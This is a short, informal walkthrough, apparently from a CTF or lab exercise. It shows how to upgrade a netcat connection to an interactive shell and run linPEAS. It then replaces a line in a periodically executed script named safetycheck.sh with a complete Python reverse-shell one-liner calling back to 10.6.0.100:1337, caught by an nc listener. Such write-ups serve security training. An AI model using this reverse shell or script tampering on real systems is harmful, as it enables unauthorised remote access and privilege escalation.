When you dont have given any shell on the remote machine but you want to get a shell

 

Lets say you connect on a remote machine using netcat. 

nc 10.6.0.2 2021

after connecting there you see that there is no shell there. so how can you get a shell there? 

Do the followings:

ls /bin

here you should see that python3

/bin/python3

>>> import pty;pty.spawn("/bin/bash"); 

spaceotter@3e5a52f6b15d:~$ ^Z

stty raw -echo 

type fg to bring nc 10.6.0.2 2021 in the foreground

nc 10.6.0.2 2021

                            export TERM=xterm

 

 https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS

if we run the above linPEAS script then we would found safetycheck.sh in the system. 

we can see that oxygen is A okey this line is executed whenever the script runs. 

so we will replace this line with python reverse shell. 

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.6.0.100",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

we need put this script in replace of echo oxygen is A okey line in the script. 

Now on the host machine type:

nc -nlvp 1337      and hit enter.